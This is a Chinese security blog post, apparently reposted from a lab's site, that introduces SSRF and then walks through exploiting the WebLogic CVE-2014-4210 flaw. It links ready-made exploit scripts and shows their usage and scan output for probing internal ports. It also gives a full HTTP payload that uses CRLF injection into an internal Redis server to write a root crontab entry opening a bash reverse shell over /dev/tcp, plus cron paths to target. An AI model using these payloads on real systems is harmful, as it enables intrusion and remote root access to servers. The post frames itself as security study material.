暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

SSRF漏洞概述与利用(Weblogic SSRF

燕云实验室 2021-06-28
1928



“燕云实验室”是河北千诚电子科技有限公司成立的网络安全攻防技术研究实验室。专注于web安全,网络攻防,安全运维,应急溯源方面的研究,开发成果应用于产品核心技术转化,国家重点科技项目攻关。









一、关于SSRF







SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,利用服务器端发起的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务器端发起的,所以服务器能请求到与自身相连而外网隔离的内部系统)。








二、SSRF挖掘技巧















三、SSRF示例







    GET /index.php?url=http://google.com/ HTTP/1.1
    Host: example.com

    服务器http://example.com从服务器http://google.com获取资源。








    四、SSRF的类型







    • 显示攻击者的响应(Basic)

    • 不显示响应(Blind)








    五、什么地方最容易出现SSRF







    • 云服务器商。(各种网站数据库操作)

    • 有远程图片加载的地方。(编辑器之类的有远程图片加载啊)

    • 网站采集、网页抓取的地方。(很多网站会有新闻采集输入url然后一键采集)

    • 头像的地方。(某易就喜欢远程加载头像,例如:http://www.xxxx.com/image?url=http://www.image.com/1.jpg)

    • 最后一个一切要你输入网址的地方和可以输入ip的地方








    六、SSRF的危害







    • 对服务器所在的内网进行端口扫描,获取一些服务的banner信息等

    • 攻击运行在内网或者本地的应用程序

    • 对内网WEB应用进行指纹识别,通过访问默认文件实现(Readme等文件)

    • 攻击内外网的WEB应用,主要是GET就可以实现的攻击(比如Struts2,SQL注入等)

    • 下载内网资源(利用file协议读取本地文件等)

    • 利用Redis未授权访问,HTTP CRLF注入达到getshell

    • 进行跳板









    七 、Weblogic SSRF漏洞应用示例








    7.1 Python工具自动扫描内网端口

    工具:

      https://github.com/zhzyker/exphub/blob/master/weblogic/cve-2014-4210_ssrf_scan.py

      使用:

        zhzy@debian:/debian/archives-tool/web-weblogic$ python cve-2014-4210_ssrf_scan.py 
        +----------------------------------------------------------------------+
        + USE: python <filename> <target_ip:port> <scan_address> <process> +
        + EXP: python cve-2014-4210_ssrf_scan.py 1.1.1.1:7001 192.168.1.0 20 +
        + VER: 10.0.2,10.3.6 +
        +----------------------------------------------------------------------+

        说明:
        <target_ip:port> 需要填写weblogic的IP和Port
        <scan_address> 为扫描的内网网段
        <process> 扫描线程

        默认扫描内网端口为:ports = ('22','80','7001','6379'),可根据不同环境自行修改

          zhzy@debian:/debian/archives-tool/web-weblogic$ python cve-2014-4210_ssrf_scan.py  59.110.214.109:7001 192.168.112.0 30
          192.168.112
          [*]+------------------------+
          [*]+ Scanning ip and port +
          [*]+------------------------+
          [+] 192.168.112.1:22
          [+] 192.168.112.2:80
          [+] 192.168.112.3:7001
          [+] 192.168.112.1:7001
          [+] 192.168.112.2:6379
          [*]+------------------------+
          [*]+ Scan completed +
          [*]+------------------------+

          payload:

            GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
            Host: localhost
            Accept: */*
            Accept-Language: en
            User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
            Connection: close

            7.2 通过weblogic ssrf漏洞内网redis getshell

            内网redis getshell工具:

              https://github.com/zhzyker/exphub/blob/master/weblogic/cve-2014-4210_ssrf_redis_shell.py

              使用:

                zhzy@debian:/debian/archives-tool/web-weblogic$ python cve-2014-4210_ssrf_redis_shell.py 
                +---------------------------------------------------------------------------------------------------+
                + USE: python <filename> <weblogic_ip> <weblogic_port> <inside_ip> <inside_port> <nc_ip> <nc_port> +
                + EXP: python filename.py 1.1.1.1 7001 192.168.1.1 6379 2.2.2.2 5555 +
                + VER: 10.0.2,10.3.6 +
                +---------------------------------------------------------------------------------------------------+

                说明:
                <weblogic_ip> weblogic的IP地址
                <weblogic_port> weblogic的端口,一般情况下为7001
                <inside_ip> 内网redis主机的IP地址,该地址通过 6.1 的scan脚本得出
                <inside_port> 内网redis的端口,默认6379
                <nc_ip> 反弹nc shell的IP
                <nc_port> 反弹nc shell的端口

                payload:

                  GET uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.3:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
                  Host: localhost
                  Accept: */*
                  Accept-Language: en
                  User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
                  Connection: close

                  crontab计划任务:
                  /etc/crontab 这个是肯定的
                  /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
                  /var/spool/cron/root centos系统下root用户的cron文件
                  /var/spool/cron/crontabs/root debian系统下root用户的cron文件


                  END


                  声明


                  署名:CC BY-NC-SA 3.0 CN

                  文中所涉及的技术,思路和工具仅供以安全为目的的学习交流使用,请勿做非法用途否则后果自负。





                  文章转载自燕云实验室,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                  评论